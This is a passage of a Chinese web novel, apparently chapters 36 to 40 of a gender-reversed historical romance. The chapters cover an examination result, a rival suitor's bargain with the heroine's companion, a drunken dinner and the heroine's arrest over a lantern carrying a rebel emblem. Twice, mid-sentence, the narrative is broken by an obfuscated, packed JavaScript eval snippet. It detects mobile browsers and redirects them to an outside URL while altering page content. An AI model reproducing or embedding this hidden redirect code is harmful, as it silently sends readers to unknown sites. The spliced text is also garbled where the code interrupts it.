“轻尘,这位是陆侯和陆二爷,我到京城后,她们二人对我多加关照。” 方轻尘知道柳忆安一行人在京城被人下毒的事,今日见到有人在京中护着柳忆安,心中甚是宽慰,于是郑重地对陆氏姐弟行了礼,感激道:“多谢陆侯照拂忆安,方某感激不尽。” “柳女君品性高洁,为人谦和大度,能认识她是我的幸运。照拂谈不上,她愿意赏脸住在我这儿,是我的荣幸啊。” 陆映昭客气了几句,知道方轻尘已经非常疲惫,便让人领着她们回房休息去了。 见柳忆安和方轻尘的背影越来越远,陆映昭才对着弟弟感慨:“得了,我们白折腾了,人家已经定亲了,我光顾着高兴,忘记问柳女君定亲了没。” 陆映川却一副气定神闲的样子,他端起茶杯抿了一口,缓缓道:“我已经查过了,这人是柳女君的小侍。” “啊?小侍?柳女君还未成亲已有小侍?” 作为好友,陆映昭并不介意柳忆安还未成亲却纳了小侍的事情,但若是要将川儿嫁给她,这种事就不太好听了。 “我调查过了,柳忆安之前成过一次亲,此人是她原配夫郎的表弟。” 陆映昭一口茶水喷了出来,这事越听越离谱了。 “柳女君真是个性情中人……” “你先听我讲完,”陆映川瞥了姐姐一眼,知道她想歪了,“是柳女君的前夫擅自将人纳进柳府,是想借柳女君举人的身份为方公子上户籍,据说二人还因此大吵一架。” “既然她夫君都不介意,为何还会吵一架?”陆映昭好奇。 “是前夫,”陆映川纠正道,随后继续解释,“据说是柳府没有纳侍的传统,想来柳女君原本也不愿纳侍,只是她前夫在众目睽睽之下公然宣布纳方公子进府,所以她不得不妥协。” “嘶,还挺奇怪的,其她人家都是女子纳侍,男子不愿意,到她这里竟然反了过来。” “不仅如此,据说二人和离时,和离书边缘已有些发黄,字迹看着也有些陈旧,不像和离时新签的,倒像是早就签好的。” “有点意思,”陆映昭若有所思地说,“不过,为何她和离后,这个方公子没有跟着柳女君前夫一起回去,反而留在了柳府?” 陆映川摇摇头,“这事我不清楚。” 陆映昭想到一个原因,“可能二人已经生了情意,否则柳女君为何称他为将要过门的夫郎。” “我倒觉得不是这个原因,”陆映川分析道,“柳女君让我们收拾了一个新房间,若二人真有情意,大可住在一起,毕竟方公子名义上已经是柳女君的小侍了。” “哦?”陆映昭悠然地往椅背上一靠,双臂抱胸,翘起二郎腿,似笑非笑道,“你怎么知道得这么清楚?调查了多久?不是说不着急吗?” “你我中毒那日就开始查了,”陆映川早就习惯了被姐姐逗弄,并不把她的玩笑话放在心上,一本正经地回答,“她那日没有喝汤,也有下毒的嫌疑。” “那你查得够细的啊,连人家和离书什么样子都知道。” “嗯,”陆映川坦然承认,“查下来发现这个人还挺有意思的,便多问了几句。” 陆映昭挑眉看向陆映川,她太了解自己的弟弟了,若非心有所动,他绝不会如此上心。 “那你现下作何打算,人家马上就过门了,你能如何?” “同那人讲清利害,聪明人自然知道该怎么做。” 说完,陆映川抬眸看向陆映昭,陆映昭也意味深长地望着他,姐弟二人四目相对,半晌无言,心里却已全然知晓对方的盘算。 37. 开门见山 “忆安,让我看看你现在身子如何?” 方轻尘刚放下行囊就要给柳忆安把脉。 “放心,我没事。”虽然嘴上这么说,但柳忆安还是好奇地伸出了胳膊,“你才跟着明大夫学了几个月,就会把脉了吗?” 方轻尘微微一笑,开玩笑道:“明大夫可是夸我很有天赋。” 他怕冒犯了柳忆安,拿出一条方巾搭在她胳膊上,柳忆安却不以为然地将方巾撤走。 “不必如此,你先为医师,其次才是男子。” 方轻尘惊讶地抬眸看向对方,过去这几个月,时常有病人担心和他产生肢体接触,不愿让他把脉。这种情况发生几次后,他便找来了一条轻薄的帕子用作隔断。 “多谢忆安体谅。” 说完,方轻尘直接将手指搭上了柳忆安的手腕,全神贯注地感受她的脉象。 很好,不浮不沉,不快不慢,很是康健。 “你身子很好,想来家主终于可以放心了。” 方轻尘紧张的表情终于放松了下来。 之后,他又为小露和小霜搭了脉,判断商陆对她们身体的影响基本已经消失,只需多喝几帖药固本。 “说来,这次能为大家解毒,还多亏了你呢。”柳忆安想起自己是因为方轻尘才知晓该如何处理中毒的情形。 “因为我?”方轻尘努力回忆,“是不是有一日晚上,我为姑娘讲解医书,说起豆浆可解诸毒?” “就是那天,你还记得啊。”柳忆安感到意外。 “是啊,我记得。” 「和姑娘相处的每一瞬我都记得。」 方轻尘在心里回应。 “对了,你刚刚在路上是不是想问神侍的事情?” 方才在街上偶遇神侍,柳忆安脑海中立刻浮现出陆映昭对她的警示。 神侍是国师安排的人,不能招惹对方,以免惹来杀身之祸。 柳忆安没有将朝堂上的局势告诉方轻尘,只告诉他神侍背景复杂,不要在外谈论,更不能招惹他。 方轻尘郑重地点点头,他知道分寸。 “至于他为何要请大家吃豆花……”柳忆安手指轻敲桌面,陷入沉思。 方轻尘隐隐觉得国师是冲着柳忆安来的,但他没有把自己的猜测说出来。 “一开始我差点以为他是专门请我们的,”柳忆安回忆起当时的情景,皱了皱眉头,“可我从车窗里看到,那个人的头发竟是银白色的,不像老人的白发,倒像是雪地映射着月光,我从没遇见过这般长相的人。” 银白色的头发? 究竟什么人能长出银白色的头发? 冥思苦想之时,锦儿的敲门声打断了两人。 “柳女君,侯主说刚刚有事情忘记交待了,请您现下过去一趟。” “好,我这就来。”回应完,柳忆安不忘嘱咐方轻尘,“你不用替我烦忧,好好休息。明日放榜,我想你陪我一起去。” 听到柳忆安这样说,方轻尘很欣喜。他轻快地点了一下头,目送她的身影逐渐走远。 柳忆安离开不久,又一个身影踏入了房内。 是陆映川。 方轻尘很意外对方的到来,努力控制住了表情,向对方请安道:“陆二爷好。” “我就同你开门见山地说了,我要嫁给柳女君。” 一番话直白到让方轻尘发懵。 陆映川虽然将话说得强势,但其实心里十分不安。 他也曾在战场上同那些女子争过抢过,但他心知那都是为了家国大义,这是他第一次为了儿女私情示威。 方轻尘没有错过对方心虚的表情,再加上刚才柳忆安才在众人面前称自己为“将过门的夫郎”,他立刻判断出柳忆安并不知晓此事,这不过是陆映川的一厢情愿。 “陆二爷何必同我讲这些,我自是听妻主安排。” “柳女君还不是你的妻主吧。”陆映川坐到了方轻尘身侧,自顾自地为自己倒了一杯茶,“你也清楚柳姑娘的为人,此事她一定会尊重你的意见,所以我先来同你讲清利害。” 闻言,方轻尘不着痕迹地捏紧了衣袖,随即又很快放开,努力挤出一个自认为得体的笑容,说道:“陆二爷高看我了,忆安愿意娶谁不是我能左右的,陆二爷有空同我说这些,不如去问问忆安的想法。” “所以,你之所以没有跟着自己的表哥离开柳府,是因为你喜欢上了自己的表嫂?” 陆映川喝了口茶,问了一个看似随意,但直击对方要害的问题。 “什么?” “哦,就是好奇而已,想知道你表哥和柳女君和离后,为何你却留了下来。”见对方神色有所松动,陆映川知道自己戳中了对方的心事。 方轻尘咬着牙回道:“为了报答忆安的恩情。” “既然是为了报答恩情,那我接下来说的话,你还是好好考虑一下。” 陆映川挥了一下手,身后的下人退了出去,将门紧闭了起来,房间里只剩下他和方轻尘两人。 随后,陆映川不紧不慢地说道:“你若是相信柳女君的才学,便清楚明日会试揭榜,她必定榜上有名,你觉得凭你的家世地位,对她能有什么助力吗?” 方轻尘没有吭声,见状,陆映川继续补充道:“若柳女君再中了进士,你也能想到京中会有多少人家想将儿子许给她,到那时,你是让还是不让。你若不让,柳女君在朝堂上必会遭人排挤。你若让,那些人家能容忍一个挤走了表兄的小侍吗?” “表兄并非我挤走的。”方轻尘没有办法回答陆映川的问题,只能为自己辩解。 “我相信不是你挤走的,但别人能信几分?与其赌你是个没有野心的小侍,不如将你远远打发走,一劳永逸。” 方轻尘无法反驳,他知道陆映川所言非虚。 “我今日找你,就是想告诉你,我愿意容你,若我嫁给柳女君,你可以继续留在她身边。”陆映川给方轻尘面前的茶杯续上茶,等待他的回答。 “你为何愿意?” “我之所以想嫁给柳女君,是因为她对男子没有偏见。嫁给她,我依然可以练我的剑,骑我的马。”陆映川希望方轻尘帮他实现目的,耐心地同他解释道,“成婚后,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992674|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分时间会待在军营,府里的事务可以让你来管。” “那你为何一定要成婚?你可以选择不嫁人。” 听到方轻尘的问题,陆映川嗤笑了一声。 “我们陆家手握重兵,你觉得皇上能放过我?我可不想让别人安排我的婚事。柳女君并非朝中权贵出身,嫁给她,皇上不会有异议。” 方轻尘盯着陆映川,见对方一脸真诚,说得应当都是真心话。 “多谢陆二爷今日的一番肺腑之言。只是,柳女君对待感情一片赤诚,绝不会为了权势与人结亲。我只想问一句,陆二爷此番求娶,究竟是出于真心,还是仅仅因为她不会干涉你的去留,才选中了她?” 陆映川微微一怔,显然没料到方轻尘会问出这样的问题。 他原以为对方会更关心关乎自身利益的问题,没想到对方最关心的竟是自己对柳忆安是不是真心。 斟酌了片刻,陆映川回道:“我自然是真心想嫁给她。” 方轻尘摇了摇头,“那二爷还是另觅良人吧。” 说完,便准备起身,想要开门送客。 陆映川伸手拦住了他,“不仅如此,我心悦她。” 老陆侯从小就教育自己的一双女儿,想要打胜仗,一定要学会藏住自己的心思,不要让敌人知晓自己真正的目标。 陆映川自小就严格遵守母亲的教诲,习惯将自己最真实的想法隐藏起来,同她人谈判时,只摆利益,不讲真心。 这是他第一次在一个外人面前袒露自己的心思。 方轻尘原本已经握住了门框,在听到陆映川的话后,将手放了下去。 “若你是真心喜欢她,我不会妨碍你接触她,不过,我也不会帮你,更不会刻意促成此事。” “我今日同你说这么多话,不是让你看热闹旁观的。”陆映川对方轻尘的回应感到不满。 “若非你今日同我讲了这些话,我定会竭尽所能阻止你,只想利用她的人不配站在她身边。”方轻尘直视着陆映川,眼神丝毫没有退让,似乎并不害怕这番话有可能惹怒对方,“至于忆安愿不愿意接受你,那是她自己的事情,我绝不会干涉她的决定。” “好,我不强迫你,但是你要遵守你的承诺,不得在暗中设阻。” 陆映川选择妥协,对方不愿意帮忙也无妨,只要不暗中破坏就好,他深知事情成不成尚有两说,但若有人使绊子,便一定成不了。 说到此处,方轻尘才端起陆映川方才为他倒的茶水,一饮而尽。 毋需多言,陆映川明白方轻尘的意思,他承诺不会插手自己和柳忆安之间的事。 “那我就不打扰方公子休息了,告辞。” “陆二爷慢走。” 临出门,陆映川突然撂下一句。 “所以,你不仅是为了报恩才留下的,你是真的喜欢上了自己的表嫂。” 说完,他没有回头,也没有等待方轻尘回应,快步离开了此处。 “那又如何?” 方轻尘独坐在桌边,缓缓饮尽杯中残茶,用只有自己能听见的声音轻声回复。 38. 会试揭榜 今日就是会试揭榜的日子,刚过卯时正刻,贡院门口就已经人山人海。 柳忆安原不急,心知自己发挥不错,榜上有名并无悬念。可小霜和小露却催促个不停。 “小姐,咱们就早点过去吧,我想第一时间知道小姐您的成绩。”小露见柳忆安不愿出门,拽着她的袖子撒娇。 小霜不像小露那般幼稚,但心里也想早些看榜,便附和道:“是啊小姐,我也想早点看见成绩,不然心里一直悬着,怪难受的。” 柳忆安见这两人心神不宁的样子,无奈地向她们妥协:“你们都这么说了,那就早点出发吧。” 几人刚出卧房,见到方轻尘早就候在门外。 他身着一袭淡青色衣衫,沐浴在温暖的光晕里。 “轻尘,你有事找我吗?”柳忆安虽然有些意外,但因为一大早就看见他而有些许欣喜。 “怕你今日走得匆忙,准备了一些吃的。”方轻尘递上一个食盒,打开一看,是还冒着热气的包子,“这一层是豆沙馅的,下一层是肉馅的。” “多谢轻尘。”柳忆安接过食盒,指尖不经意地擦过方轻尘的手背,微凉的触感稍纵即逝,两人皆是一怔,脸颊不由自主地染上一抹红晕。 一阵静默后,柳忆安主动开口邀请道:“你要和我们一起去看榜吗?” “若你愿意,我自然相陪。” 方轻尘渴望能与柳忆安一同见证这个重要时刻,但顾虑自身的身份,担心自己不适宜出现在那样的场合,因此迟迟未能鼓起勇气提出这个请求。 “那,我们一起走吧。” 方轻尘答应的瞬间,柳忆安好像从他眼中看到了一丝转瞬即逝的光芒。 是错觉吗?怎么感觉他心情好了许多,明明只是邀请他一起去看榜而已。 走出侯府大门,一辆马车映入柳忆安眼帘。 “柳女君,二爷吩咐了,让我们送您去贡院。” 马夫走上前,为柳忆安掀开了马车的帘子,邀请她上车。 待四人坐稳,马车缓缓启动,往贡院走去。马夫架着马,心里却捉摸着,明明二爷准备和柳女君一同前去,可不知为何,在看到柳女君一行人时,神色微微一变,随即翻身下车,只留下寥寥数语,叮嘱自己务必将她们平安送回府中。 贡院前后一条街的距离已经挤满了人,马车很难行进,一行人便决定下车步行。 几人艰难地在人群中挤来挤去,听到周围传来窃窃私语。 “这个柳忆安是谁啊?” “不知道,不是京中人吧,我没听说过。” “我知道她,她是从云州城来的,在南边挺有名的,是最年轻的举人。” “哦,那难怪……” 难怪什么?几人不解。 等到了榜前,大家才明白了路人在“难怪”什么。 “小姐!小姐!”小露在看到榜后激动地喊出了声,“会元!中了会元!” 旁边的人听到小露的声音后,纷纷扭过头来,想一窥会试第一的容颜。 “嘘!”小霜赶紧捂住小露的嘴,“还想不想回去了?” 小露这才意识到自己高兴得有些忘乎所以了。 “这位就是柳忆安柳女君吧,幸会幸会。”旁人纷纷招呼道。 “幸会。”柳忆安感到不好意思,一边对着旁人行礼,一边往人少的地方退去。 见柳忆安局促不安,方轻尘下意识地向前一步,将柳忆安护在身后,用身躯将她同路人隔开,为她挡去旁人的指指点点。 几人好不容易才从人群中脱身,原本有一些人想悄悄跟着她们回去,直到看见她们上了陆府的马车,才不甘地离开。 坐上了马车,柳忆安才从不安中缓过神来,后知后觉自己竟拿了会元。 “忆安,恭喜你。”方轻尘第一时间送上祝贺,他为柳忆安感到开心,却并不惊讶,他早就知道柳忆安文采斐然,莫说会元,在他心里,说是状元也不为过。 不过,开心的同时,他又想到自己和对方悬殊的身份差距。原本就配不上她,是靠着她的善心与怜悯才勉强留在她身边。如今更是…… 陆映川说得没错,恐怕只有如他一般的出身才配站在柳忆安身侧。 想到这里,方轻尘的目光不由得黯淡了下来。 柳忆安没有错过他表情的变化,心里奇怪他的喜怒为何如此让人难以捉摸。 明明在恭喜自己,眼神里却透露着一股悲伤。 早上也是,只是邀请他看榜而已,不知为何就开心了起来。 柳忆安思索了一下,开口问道:“你…你在京城是不是住得不习惯,若是觉得在侯府不自在,我们可以回客栈住。” “没有,侯府很好。” 方轻尘知道,柳忆安在会试中拔得头筹后,必然有无数双眼睛盯着她,侯府是当下最安全的住处。 “方才人有点太多了,挤得我有些发晕而已,现在没事了。” 他寻了一个无关痛痒的理由打消了柳忆安的顾虑。 柳忆安点点头,不疑有他。 随后,小露和小霜终于忍不住激动地内心,开始叽叽喳喳地恭喜柳忆安,商量着要不要今晚做一桌好菜庆祝。 方轻尘轻轻倚在一旁,眼里除了柳忆安的身影,什么都放不下。 此刻,他是柳忆安最亲近的人之一,是和她共享荣光的人,是她身边唯一的男子。 他突然多了些贪心,希望其余觊觎柳忆安的男子统统消失,她可爱的模样最好只有自己能看见。 觉察到自己阴暗的想法后,方轻尘心头一震,连忙摇了摇头,企图清醒过来。 不行,不能这么想,自己不能那么自私。忆安值得世间最好的男子,不是自己这样微不足道之人可以妄想攀附的。 收敛好了自己的情绪,方轻尘露出一个和平日里一样温润的笑,说道:“今日我来下厨吧,忆安爱吃的那几道菜我都学会了。” “你是说话梅小排吗?”柳忆安惊喜地问道,这几日一直吃的是京中的口味,她太想念家乡的味道了。 “不仅是话梅小排,还有蟹黄豆腐,水晶虾仁。”方轻尘掰着手指头一一数到,“蒸鱼我也学会了,只是京城的鱼和云州城不同,我怕味道难以掌控。” “哇,你是不是向刘伯偷师了?”柳忆安的脸上是抑制不住的喜悦。 方轻尘感觉自己整个人都要被柳忆安的笑意融化了,红着脸点了点头,承认道;“刘伯教得很认真,他还叮嘱我一定要注意细节,这样才能做出你喜欢的味道。” 方轻尘的一席话,让柳忆安突然回想起成婚前的自己。 那时的她还沉浸在对婚姻美好的向往里,也许是母亲和父亲太过恩爱,她想当然得以为自己的婚姻也会那么顺遂。 她曾经不止一次地幻想过,自己的夫郎会偷偷学做自己喜欢的菜肴,也许味道平平,但重要的是那份心意。 她觉得自己的愿望很朴素,很容易实现,可是和秋川白成婚后她才发现,原来两情相悦并不是一件容易事,世间的怨侣远比有情人多。 本以为,自己的这份愿望早就成了不值一提的念想,可如今,方轻尘却在不知不觉间为她实现了曾经的心愿。她突然间有些恍惚,仿佛又回到了那个对未来充满期待的时候。 柳忆安怔怔地看着方轻尘,心里掀起一阵阵涟漪。 “忆安?我是不是…做错什么了?”方轻尘见她突然愣住,担心自己哪里做错了。 “没有没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998880|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只是有点想家了。”柳忆安回过神来,随意寻了个借口来掩饰自己的胡思乱想。 “女君,我们到了。”马夫招呼道。 方轻尘先行下了车,伸出手扶稳了下车的柳忆安。 他走在众人后面,余光向巷子尽头望去,陆映川骑着骏马的身影缓缓出现。 早在来的路上,他就发现了陆映川的踪迹,知道他一路跟在马车后面。 他没有跟着众人一同进府,留在了大门口,等待着陆映川。 “你怎么不跟着一起去?” 随着陆映川的身影越来越近,方轻尘开口问道。 “你愿意成全我,我自然也要成全你。”陆映川勒住了马,冷冷地回应。 “不必,你还是努力讨她的欢心吧,她只有娶了心上人才会感觉幸福。”方轻尘强忍着心痛劝说,“这都是…为了她。” 陆映川神色复杂地看了方轻尘一眼,心里对他产生了一丝敬佩。 “好,我会的。你不是说不帮我吗?为何又劝我?” “我没有帮你,我只是希望她开心。” 陆映川没有再回应什么,轻轻一扬马鞭,朝着马厩的方向而去。 *** 陆映昭早已收到了柳忆安中了会元的消息,摆了一桌酒席等着柳忆安回来。 “柳女君,恭喜恭喜!”见到了柳忆安的身影,陆映昭举起酒杯恭贺道,“我们陆府今日也沾了柳女君的喜气啊!” 柳忆安回敬道:“多谢陆侯这段时日护我周全,忆安心里十分感激。” 几杯酒下肚,两人皆多了三分醉意,说话也肆意了起来。 “柳女君,你看我这弟弟如何?他长得也算是相貌堂堂,家世嘛,”陆映昭拍拍胸脯,“我们陆府,不算差。就是年纪比你稍大了一些。” “陆家二爷,自然是好的。”即使有些醉酒,柳忆安也不敢随意回答。 “他性子是乖僻了些,不过这都是有原因的。” 陆映川拍了拍柳忆安的肩膀,向她说出府里的秘辛。 原来,这陆氏姐弟,并非老陆侯的嫡出。 她们的生父是陆府的家生奴,老陆侯一次醉酒后,见其长相俊美,便做了糊涂事。 结果就那一晚,就让那家生奴怀上了孩子,还是一对双生姐弟。 姐弟二人出生后,直接就被抱到了正夫那里,而那家生奴,因被原配厌烦,被打发去了乡下农庄。 一开始,正夫看见姐弟二人就想到那个家生奴,想到自己妻子一夜荒唐的丑事,对二人总是非打即骂。他骂她们身体里掺着低贱的血液,说她们原本是奴才命,多亏自己大发慈悲才让她们成了小姐和少爷。府里的下人跟着见风使舵,并不把她们姐弟视为主子,甚至欺负她们来讨好正夫。 这一切,随着家生奴的离世开始好转。 家生奴的身子因怀了双生子而大受损害,在农庄里又被逼着干重活,最终积劳成疾。庄里没人愿意为他请大夫,硬生生地将人耗死了。 而正夫这么多年也没有怀上孩子,慢慢接受了自己无法受孕的事实,只好将姐弟二人视为自己的亲生子抚养。从那之后,姐弟二人的生活才好了起来。 只是那段被人随意欺负的日子,让陆映川变成了一个刻意隐藏起情绪的人,他无法分辨来者究竟是善意还是恶意,便习惯性地用冷漠和刻薄来保护自己。 而陆映昭和他相反,养成了爱憎分明的性子,对她好的人她加倍报答,对欺负她们姐弟的人也不惜下狠手收拾。 就这样,姐弟二人,一个性子外放,一个性子内敛,互相扶持着长大了。 听完了姐弟二人的经历,柳忆安心里五味杂陈,她没想到人前光鲜的陆氏姐弟还有这般苦痛的经历。 39. 醉酒 “川儿小时候太苦了,下人得到主夫授意,故意刁难我们姐弟,送的饭不够两人吃。他把饭全都留给我,自己饿了就去打井水喝。”陆映昭借着酒意,将自己一直以来的愧疚之情一口气倾诉了出来,“他说他不饿,我当时就真的相信了,我怎么能信了呢……” 说到激动处,这个平日里铁骨铮铮的将军竟落了眼泪。 “我愧对川儿,我不能让他和我回边关,他得留在这里,寻一个好妻主,平安地过完后半生。” 柳忆安不太擅长安慰别人,她轻轻拍着陆映昭的背,说道:“会的,你们姐弟都会幸福的。” “真的吗?”陆映昭抬起头,用满是泪水的眸子看着柳忆安,小声抱怨道,“可是他不愿听我的,一直在舞刀弄枪,这样哪个女子敢娶他。” “真心爱他的女子只会因此更欣赏他。” 说完,柳忆安想起了方轻尘,世人都说男子学医是离经叛道之举,她却觉得方轻尘对医书侃侃而谈的样子十分动人。 “忆安,你能这么想,我真是太开心了,”陆映昭热泪盈眶地拉住了柳忆安的手,“你看川儿……” 话还没说完,大门被“嘭”地推开。 “姐,你喝多了,我扶你下去休息。” 陆映川急急忙忙地搀起陆映昭,要带她离开此地,虽然他想让柳忆安娶自己,但现在还不是同她坦白的时候,若是吓到她就不好了。 “嘿嘿,忆安,你看川儿多会照顾人,谁娶了他一定…” 陆映川匆忙捂住了陆映昭的嘴,将人连拖带拽地带走了。 柳忆安喝得不多,奈何酒量太差,现在也有些上头,晕乎乎地坐在原地。她只知道旁边莫名冒出了一双手扶着自己回房间,这手十分有力,纵是自己全身的重量都倚了上去,还是稳稳地扶着自己,一点儿不晃。 不知走了多久,终于挪回了房间,坐在床上的一瞬间她就直挺挺倒了下去,任旁人如何拍打都毫无反应。 见她一下子晕了过去,方轻尘慌忙检查她的身子。所幸只是醉酒,没有别的问题。 随后,他轻手轻脚地搬来一个凳子,坐在床头,目光不愿从她身上移走片刻。 她好可爱,连喝醉酒的样子都这么可爱。 柳忆安的脸因喝了酒而微微发红,不知道是不是梦到了什么,嘴里在呓语些什么。 方轻尘没有忍住好奇心,低下头想听清她在说什么。 “民者,国之本也……” 在听清柳忆安的呓语后,方轻尘无奈地轻笑了一声。 她确实是这样的人,很多次他都看见柳忆安皱着眉头坐在院子里。刚开始,他以为她遇到了什么难处,后来才得知她是在思虑些民间急务。 所以他一直坚信柳忆安能高中,不是因为她是最年轻的举子,而是明白她心里总是装着百姓疾苦。 这是方轻尘第一次见柳忆安醉酒后的模样,他忍不住伸出手指轻戳了一下她泛着微红的脸颊。 「好想亲亲她」 克制住内心的冲动,方轻尘取来医书,斜靠在床头,目光在书页与柳忆安之间来回游移。每翻过一页,便忍不住抬眸看她一眼。 太阳开始西斜的时候,方轻尘看了看熟睡的柳忆安,终是依依不舍地起身离开。他轻轻合上房门,转身走向厨房,他希望柳忆安醒来的时候能尝到魂牵梦萦的家乡味道。 *** 一阵轻柔的鸟叫声从窗外传来,唤醒了睡梦中的柳忆安,她揉了揉还有些胀痛的脑袋,窗外的夕阳只剩下最后的一抹光影。 “这是何时了?” “小姐,已经酉时末刻了。”小霜在一旁答道。 “竟从白天睡到现在。”柳忆安赶紧从床上起身,“今日还未温书。” 小霜为柳忆安披上外套,安慰道:“小姐,只是多休息半天而已。我们先用晚膳吧,方公子忙了一下午呢。” 刚才小霜特意去厨房看了,满满一案台,都是小姐喜欢的菜式。 柳忆安这才记起自己醉酒前的事情,好像是有说到方轻尘要下厨来着。 “方公子亲自下厨了?” “是啊小姐,方公子正在厨房温着菜呢,就等您醒来了。小姐您稍等一下,我去给方公子说一声。” 小霜小露两人动作非常麻利,很快就把菜都端到了房内。 方轻尘端着蟹黄豆腐走进来的时候,正看见柳忆安坐在桌前,双手托腮盯着满满一桌菜。 看见方轻尘进来,柳忆安惊喜地站起身迎接他。 “你做的菜,不管是看起来还是闻起来,都和刘伯做的一模一样。” 得到了柳忆安的表扬,方轻尘露出一丝青涩的笑意,问道:“怎么不尝一下?” “想等你一起吃。”说完,柳忆安为方轻尘拉开了椅子,“快坐下,我们一起吃饭。” 两人在桌前坐好,原本柳忆安还想邀请小露和小霜一起品尝方轻尘的手艺,可是一转眼的工夫已经看不见这两人了。 “尝尝这个,”方轻尘将一块儿话梅小排夹到柳忆安碗里,期待着她的评价。 柳忆安轻轻咬下一口,眼中闪过一丝欣喜。 “酸甜适口,肉质软嫩,轻尘,你的手艺真好。” 原本想邀功的人在听到夸奖后竟不好意思地低下了头,轻声说道:“你喜欢就好。” 说完,方轻尘贴心地将桌上的菜一一夹到柳忆安碗里,动作温柔又勤快。柳忆安根本跟不上他的节奏,刚咽下一口,新的菜又夹到了碗里,连开口说话的机会都没有,只能不停地点头,用满脸的笑意示意自己很喜欢。 “轻尘,谢谢你,让我尝到家里的味道。”柳忆安终于找到一个空闲,夹起一块排骨放到了方轻尘碗里,“别光顾着我,你也吃。” 还没等方轻尘说出感谢的话,门外传来了锦儿的声音。 “柳女君,刑部来人,传您即刻去衙门问话。” 柳忆安和方轻尘疑惑地看了一眼对方,两人都不知发生了何事。 不过柳忆安已经见怪不怪,从书院被搜查开始,一直有人企图置她于险境。 “你莫慌,留在这里,我去看看到底是怎么回事。”看到方轻尘担忧的眼神,柳忆安伸手覆上他的手背,微微用力按了按,轻声安抚道。 随后,她站起身,随着锦儿往陆府大门走去。 陆府大门处,陆映昭正在和刑部来人交涉。 “你从我陆府带人走,总得给我一个交代吧。” 对面那人脸上带着谄媚的笑容,嘴上却滴水不漏:“陆侯,咱们是奉命办事,至于上头是怎么想的,小的也不清楚。只是咱们刑部办事向来规矩,若柳会元是清白的,自然不会遭什么罪。” 陆映昭左右瞧了瞧,在无人注意的时候悄无声息地往对方怀里塞了 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“是我。” 来人摘下面罩,正是陆映川。 “你怎么来了?”柳忆安感到十分意外。 “我们刚打探到了消息,云州城玉锦斋的老板被发现私通逆党,你是不是赢过一盏花灯?那个花灯现在在何处?” “花灯?可是那盏花灯早被马车碾碎了。” 柳忆安记得那盏花灯,是她花了心思为秋川白赢下的,只是还没来得及让对方看见,就被路过的马车碾成了碎片。 “有人举报那盏花灯上画了顺朝余党的图腾,说你之所以赢了那盏灯,是因为你是顺朝余党的同谋。” “可是那灯已经不见了。”柳忆安紧皱眉头,她实在是没想到会被一盏花灯波及。 “无妨,”在偷偷溜进刑部之前,陆映川已经同姐姐想好了对策,“你还记得那灯的样子吗?我们可以仿一个出来,只要证明那盏花灯上没有图腾,刑部的人就无话可说了。” “我记得一些,那个灯外貌像是芙蓉,花瓣边缘嵌有金丝,再具体的就记不太清了……”那盏灯柳忆安还没来得及仔细欣赏就已经被撞毁,不过她突然想起来,方轻尘也见到了那盏灯,“方轻尘也见过那盏灯,你可以问问他。” “好,那我回去问问他。”正事说完,陆映川掏出一个包裹,里面放了一件干净的衣服和一些点心。 “你将外袍穿上,牢里寒冷,别生病了。”他将衣服拿出来,示意柳忆安穿上,“牢里饭菜难吃,你若是觉得难以下咽,先用点心垫一垫,最多两天,我会想办法带你出去的。” “此事同你和陆侯无关,千万别铤而走险。” 听到陆映川的承诺,柳忆安担心自己连累了陆氏姐弟二人。 “还有,你究竟是怎么进来的,别被发现了。” “用了点迷香,放心,不会被发现,外面有人放风。”该嘱咐的已经嘱咐完,陆映川不再逗留,临走前,他又最后嘱咐了一句:“明日有人审你,你就说自己全然不知。对了,衣服记得穿到外袍里,别被别人发现了。” 说完,他深深望了柳忆安一眼,眼底的担忧被他藏得极好,没有让对方察觉。随即,他戴上面罩,身影再次融入夜色之中,悄无声息地消失在牢门外。 40. 为她脱罪 会试揭榜的当夜,陆府灯火通明,无人安眠。 书房里,陆映川和方轻尘仔细观察着那盏被勉强复原的花灯,等待着制灯匠的到来。 *** “这就是那盏花灯?怎么在你这?” 方才,陆映川从牢房返回府里,依照柳忆安的吩咐去问方轻尘是否还记得那花灯的样子,没想到对方竟直接从包裹里将花灯拿了出来。 “嗯,当时有马车冲撞了忆安,把花灯碾碎了,我捡了回去。你放心,没有任何人发现。” 方轻尘将花灯放在桌子上,拨开层层花瓣翻找起来。终于,在一片花瓣上,找到了一个奇怪的刺绣图案。 “之前我修复它的时候,就发现了这个图案,还以为是玉锦斋的标记。”他将图案展示给陆映川,“你看,是不是这个图案有问题?” 陆映川接过花灯,看见了一朵有枝无叶的三瓣梅绣在了花灯绢面上,其颜色和绢面非常相似,若非仔细瞧,很难看见。 “是这个图案。” 明面上,顺朝余党已经消失五十余年,除了朝中的少数官员,没人知道三瓣梅是这些人联络的标记。 方轻尘紧皱眉头,他想起了顾允借秋川白之手陷害柳忆安一事。当时,秋川白拿给柳忆安的“古籍”上也有顺朝余党的口号。 事发后,所有人都想当然地以为顾允是此事的主谋,可是如果连这盏花灯都有问题,那幕后黑手想必另有她人。 毕竟柳忆安拿到花灯的时候,顾允才刚和秋川白重逢,应该还来不及动手脚。 方轻尘看着花灯陷入沉思,柳忆安一向与人为善,不知道究竟是得罪了什么人,一再置她于这种险境。 